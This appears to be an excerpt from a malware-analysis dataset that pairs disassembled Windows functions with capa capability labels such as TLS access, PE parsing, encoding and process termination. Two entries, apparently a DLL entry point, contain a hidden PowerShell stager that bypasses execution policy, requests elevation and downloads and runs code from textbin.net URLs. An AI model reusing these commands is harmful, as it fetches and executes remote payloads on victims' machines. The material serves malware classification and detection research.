joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023bc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov ecx, dword [0x140032080]
test ecx, ecx
je 0x140023c7d
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x140023bf0
cmp qword [rax + 8], 0
je 0x140023bf0
add rax, 0x10
jmp 0x140023c77
mov ecx, dword [0x140032080]
test ecx, ecx
je 0x140023c90
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x140023c75
mov rsi, rax
test rax, rax
jne 0x140023c5b
movzx eax, byte [0x1400ab118]
mov ecx, 0x20
mov edx, 8
call fcn.1400017f0
test rax, rax
je 0x140023cb3
mov rsi, rax
lea rax, [0x140032068]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x140032080]
test ecx, ecx
je 0x140023ca3
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
mov qword [rsi + 8], 1
lea rax, [rsi + 0x10]
mov qword [rsi + 0x10], 0
mov byte [rsi + 0x18], 0
jmp 0x140023c77
xor eax, eax
add rsp, 0x20
pop rsi
ret
lea rcx, [0x140032068]
call fcn.140026690
mov ecx, eax
jmp 0x140023bd5
lea rcx, [0x140032068]
call fcn.140026690
mov ecx, eax
jmp 0x140023c00
lea rcx, [0x140032068]
call fcn.140026690
mov ecx, eax
jmp 0x140023c53
mov ecx, 8
mov edx, 0x20
call fcn.140002000
ud2

Function at 0x140023f30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov ecx, dword [0x140032048]
test ecx, ecx
je 0x140024010
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x140023f64
mov rdi, rax
cmp qword [rax + 8], 0
je 0x140023f64
add rdi, 0x10
jmp 0x140024006
mov ecx, dword [0x140032048]
test ecx, ecx
je 0x140024023
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
je 0x140024004
mov rsi, rax
test rax, rax
jne 0x140023fd3
movzx eax, byte [0x1400ab118]
mov ecx, 0x18
mov edx, 8
call fcn.1400017f0
test rax, rax
je 0x140024046
mov rsi, rax
lea rax, [0x140032030]
mov qword [rsi], rax
mov qword [rsi + 8], 0
mov ecx, dword [0x140032048]
invalid
test ecx, ecx
je 0x140024036
dec ecx
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
lea rdi, [rsi + 0x10]
mov rcx, qword [rsi + 0x10]
cmp qword [rsi + 8], 0
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], 0
je 0x140024006
test rcx, rcx
je 0x140024006
lock dec qword [rcx]
jne 0x140024006
call fcn.140023b70
jmp 0x140024006
xor edi, edi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
lea rcx, [0x140032030]
call fcn.140026690
mov ecx, eax
jmp 0x140023f46
lea rcx, [0x140032030]
call fcn.140026690
mov ecx, eax
jmp 0x140023f74
lea rcx, [0x140032030]
call fcn.140026690
mov ecx, eax
jmp 0x140023fcb
mov ecx, 8
mov edx, 0x18
call fcn.140002000
ud2
Function at 0x140026690
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rsi, rcx
cmp qword [rcx], 0
je 0x140026715
mov dword [rsp + 0x2c], 0
lea rbx, [rsi + 0x10]
lea r8, [rsp + 0x2c]
mov rcx, rbx
xor edx, edx
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
mov dword [rsp + 0x28], eax
cmp eax, 1
jne 0x140026756
cmp dword [rsp + 0x2c], 0
je 0x14002673a
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x140026770
mov edi, eax
inc eax
mov dword [rsi + 0x18], eax
mov rax, qword [0x1400ab0f8]
nop
mov qword [rsi + 8], rax
lock cmpxchg qword [0x1400ab0f8], rsi
jne 0x1400266f0
mov byte [0x1400ab0f0], 1
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
jmp 0x14002674c
call sub.KERNEL32.dll_TlsAlloc
mov dword [rsp + 0x28], eax
cmp eax, 0xffffffff
je 0x1400267bc
mov ecx, eax
inc ecx
xor eax, eax
lock cmpxchg dword [rsi + 0x18], ecx
jne 0x14002673f
mov edi, dword [rsp + 0x28]
jmp 0x14002674c
mov edi, dword [rsi + 0x18]
jmp 0x14002674a
mov edi, eax
mov ecx, dword [rsp + 0x28]
call sub.KERNEL32.dll_TlsFree
dec edi
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call fcn.14000f420
ud2
mov rcx, rbx
mov edx, 4
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
lea rax, str.out_of_TLS_indexes
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x1400a56b8]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.library_std_src_syswindows_thread_local_key.rs
lea rcx, [rsp + 0x30]
call fcn.140003b70
ud2
lea rax, str.out_of_TLS_indexes
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x1400a56b8]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call fcn.14000f470
ud2

Function at 0x140029de0
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
Function at 0x140030f40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140031d10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140031d10
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140030fb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400ab1a4]
mov rbx, rcx
test esi, esi
jle 0x1400310e0
mov rax, qword [0x1400ab1a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140030ffb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140031085
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140030fe0
mov rcx, rbx
call fcn.140031a30
mov rdi, rax
test rax, rax
je 0x140031102
mov rax, qword [0x1400ab1a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140031b70
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400ab1a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400310e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14003107e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140031090
add dword [0x1400ab1a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400ab1a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14003107e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140030f40
nop dword [rax]
xor esi, esi
jmp 0x140031008
mov rax, qword [0x1400ab1a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140030f40
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140030f40
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400316a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400ab200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400ab1e0]
test rbx, rbx
je 0x1400316fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400316f3
test eax, eax
jne 0x1400316f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400316d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140031a30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a5a40]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140031a50
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140031a58
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140031a50
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140031aad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140031aa4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140031a50
add rax, 0x28
cmp rax, r9
jne 0x140031a90
xor eax, eax
ret

Function at 0x140031ab0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a5a40]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140031acf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140031ad8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140031acf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140031b70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a5a40]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140031b8f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140031b98
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1800024f0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1800912b0
mov rax, rcx
neg rcx
test rax, 7
je 0x1800912cd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x180091328
test al, 7
jne 0x1800912c0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1800912e1
mov rdx, qword [rax - 8]
test dl, dl
je 0x180091352
test dh, dh
je 0x18009134c
shr rdx, 0x10
test dl, dl
je 0x180091346
test dh, dh
je 0x180091340
shr rdx, 0x10
test dl, dl
je 0x18009133a
test dh, dh
je 0x180091334
shr edx, 0x10
test dl, dl
je 0x18009132e
test dh, dh
jne 0x1800912e1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1800026ee
Capabilities:
Run powershell expression

Disassembly:
jmp 0x180007650
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18012d001]
call fcn.180003e77
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1800076d7
cmp dword [rsp + 0x20], 1
je 0x180007687
jmp 0x1800076e1
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_3yymq5l0z5_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_iy8syeyigm_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_hl59vkyayv_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0x40]
call fcn.180002e78
movzx eax, al
jmp 0x1800076e6
mov rcx, qword [rsp + 0x50]
call fcn.1800039d1
mov eax, 1
add rsp, 0x30
pop rdi
ret

Function at 0x1800027d9
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x180022dd0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180022750
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180022e0f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18012e020]
jmp 0x180022e19
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x180002928
Capabilities:
Query environment variable

Disassembly:
jmp 0x1800ac680
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1800ac4b0
lea rcx, [rsp + 0x40]
call fcn.1800ac630
movzx eax, al
test eax, eax
jne 0x1800ac6c8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1800ac4e0
mov rax, qword [rsp + 0x70]
jmp 0x1800ac899
lea rcx, [rsp + 0x40]
call fcn.1800ac600
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1800ac5a0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1800ac600
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1800032d8
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1800ac76e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1800ac4e0
mov rax, qword [rsp + 0x80]
jmp 0x1800ac899
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1800026f8
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1800025ea
lea rcx, [rsp + 0x48]
call fcn.1800022e3
movzx eax, al
test eax, eax
jne 0x1800ac7d5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.18000172b
lea rcx, [rsp + 0x40]
call fcn.1800ac4e0
mov rax, qword [rsp + 0x88]
jmp 0x1800ac899
lea rcx, [rsp + 0x48]
call fcn.180002bc1
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1800ac600
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1800032d8
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1800ac86b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.18000172b
lea rcx, [rsp + 0x40]
call fcn.1800ac4e0
mov rax, qword [rsp + 0xa0]
jmp 0x1800ac899
lea rcx, [rsp + 0x48]
call fcn.1800025c7
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.18000172b
lea rcx, [rsp + 0x40]
call fcn.1800ac4e0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x180002937
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x180022d00
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1800226d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180022d41
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18012e020]
jmp 0x180022d47
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1800029b4
Capabilities:
Get geographical location

Disassembly:
jmp 0x1800b0490
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1800af3c0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1800b04f7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x18012e030]
jmp 0x1800b0519
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.180002293
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1800029c8
Capabilities:
Terminate process

Disassembly:
jmp 0x180009c40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180002b76
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800c9aa0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x18011d400]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1800c9ac6
jmp 0x1800c9b43
mov rcx, qword [rbp + 0x30]
call fcn.1800024f0
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1800c9adf
jmp 0x1800c9b43
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1800c9afc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.18000186b
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.180001c1c
test eax, eax
jne 0x1800c9b43
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.180002685
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x180002e78
Capabilities:
Parse pe header

Disassembly:
jmp 0x180007c00
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18012d00a]
call fcn.180003e77
mov rax, qword [rsp + 0x40]
mov qword [0x18011e640], rax
mov rax, qword [0x18011e640]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007c37
xor al, al
jmp 0x180007ca0
mov rax, qword [0x18011e640]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x18011e640]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180007c71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x180007c75
xor al, al
jmp 0x180007ca0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [0x18011e640]
add rcx, rax
mov rax, rcx
mov qword [0x18011e648], rax
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180003445
Capabilities:
Terminate process

Disassembly:
jmp 0x180091ca0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x180091cce
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.180003b02
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x180003b61
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800a4b80
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x180003c01
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x180022e40
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180022790
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180022e89
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18012e020]
jmp 0x180022e98
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x180007650
Capabilities:
Create process on windows
Run powershell expression

Disassembly:
jmp 0x180007650
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18012d001]
call fcn.180003e77
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1800076d7
cmp dword [rsp + 0x20], 1
je 0x180007687
jmp 0x1800076e1
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_3yymq5l0z5_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_iy8syeyigm_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_powershell____NoProfile__windowstyle_hidden__ExecutionPolicy_bypass__Command_iex__iwr_https:__textbin.net_raw_hl59vkyayv_____
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0x40]
call fcn.180002e78
movzx eax, al
jmp 0x1800076e6
mov rcx, qword [rsp + 0x50]
call fcn.1800039d1
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180007c00
Capabilities:
Parse pe header

Disassembly:
jmp 0x180007c00
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18012d00a]
call fcn.180003e77
mov rax, qword [rsp + 0x40]
mov qword [0x18011e640], rax
mov rax, qword [0x18011e640]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007c37
xor al, al
jmp 0x180007ca0
mov rax, qword [0x18011e640]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x18011e640]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180007c71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x180007c75
xor al, al
jmp 0x180007ca0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [0x18011e640]
add rcx, rax
mov rax, rcx
mov qword [0x18011e648], rax
mov al, 1
add rsp, 0x30
pop rdi
ret